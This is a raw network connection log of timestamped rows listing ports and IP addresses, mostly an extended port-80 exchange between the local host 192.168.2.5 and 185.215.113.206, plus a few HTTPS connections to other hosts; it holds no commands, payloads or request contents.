Nov 25, 2024 16:21:42.792670012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.792840958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.792867899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.793128014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.793682098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.793768883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.793791056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.794629097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.794730902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.794761896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.795768023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.795845985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.795870066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.795947075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.796643972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.796745062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.796966076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.797600031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.797704935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.797729015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.798577070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.798688889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.798701048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.799575090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.799695969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.799707890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.799777985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.800570011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.800653934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.800739050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.801554918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.801691055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.801878929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.802570105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.802719116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.802747011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.802825928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.803520918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.803651094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.803675890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.803777933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.804527044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.804697990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.804723024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.805500984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.805557013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.805583000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.805839062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.806464911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.806581974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.806605101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.807446003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.807555914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.807581902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.807601929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.808429956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.808538914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.808626890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.808741093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.809442043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.809495926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.809622049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.810410023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.810509920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.810728073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.811405897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.811460972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.811486006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.812401056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.812468052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.812495947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.812527895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.813381910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.813486099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.952727079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.952873945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.952931881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.952931881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.953149080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.953202009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.953228951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.953315973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.953964949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.954070091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.954293966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.954905987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.955056906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.955219984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.955372095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.955656052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.955749989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.955810070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.956486940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.956618071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.956645012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.956897974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.957525015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.957647085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.957681894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.957746983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.958385944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.958655119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.960057974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.960163116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.960525036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.960629940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.960660934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.961533070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.961637020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.961672068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.961954117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.962501049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.962583065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.962682009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.963480949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.963597059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.963663101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.963663101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.964487076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.964591980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.964618921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.964852095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.965459108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.965574026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.965599060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.965632915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.966434956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.966537952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.966552019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.966629982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.967437983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.967566967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.967823029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.968417883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.968533039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.968556881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.969396114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.969491005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.969508886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.969610929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.970362902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.970484972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.970586061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.971340895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.971446991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.971668959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.972362995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.972476959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.972503901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.973337889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.973426104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.973452091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.974387884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.974442005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.974594116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.975302935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.975327969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.975409031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.976280928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.976310015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.976386070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.977354050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.977384090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.977417946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.977529049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.978315115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.978409052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.978600979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.978662968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.979394913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.979465008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.979521036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.979613066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.980462074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.980590105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.980815887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.981338024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.981399059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.981435061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.981476068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.982234001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.982326031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.982400894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.982640028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.121490955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.341583014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.342067957 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:43.342858076 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:43.342869043 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:43.343036890 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:43.343063116 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:43.343135118 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:43.343684912 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:43.343698025 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:43.343745947 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:43.343750000 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:43.343789101 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:43.343795061 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:43.573266029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.573302031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.573333979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.573379993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.573601961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.573641062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.573663950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.573698997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.574536085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.574587107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.574641943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.574709892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.575509071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.575557947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.575608015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.575650930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.576488018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.576587915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.576602936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.576643944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.577531099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.577641010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.711182117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.711241961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.711286068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.711414099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.711632013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.711678982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.711750031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.711792946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.711833000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.711965084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.712368965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.712413073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.712457895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.712508917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.713351011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.713397980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.713438034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.713532925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.714317083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.714391947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.714415073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.714457989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.715302944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.715342999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.715419054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.715485096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.716392040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.716437101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.716495991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.716536999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.717308998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.717356920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.717422962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.717494011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.718261003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.718329906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.718401909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.718449116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.719259024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.719340086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.719364882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.719407082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.720669985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.720716953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.720793009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.720833063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.721646070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.721703053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.721765995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.721812010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.813658953 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.813735962 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:43.813836098 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.814011097 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.814043045 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:43.814208984 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.814224958 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.814243078 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:43.814742088 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:21:43.814754009 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:21:43.824078083 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824106932 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:43.824167967 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824467897 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824479103 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:43.824532986 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824671984 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824697971 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:43.824795008 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 16:21:43.824801922 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 16:21:43.848400116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.848411083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.848462105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.848665953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.848718882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.848786116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.848825932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.849646091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.849705935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.849884987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.849953890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.850637913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.850689888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.850728035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.850740910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.851620913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.851691008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.851702929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.851723909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.852596045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.852699041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.852716923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.852838993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.853619099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.853691101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.853707075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.853749037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.854594946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.854605913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.854634047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.854645014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.855571032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.855611086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.855686903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.855725050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.856556892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.856636047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.856645107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.856684923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.857525110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.857564926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.857636929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.857726097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.858541012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.858584881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.858676910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.858793974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.859512091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:43.859559059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:43.859724045 CET	80	49765	185.215.113.206	192.168.2.5
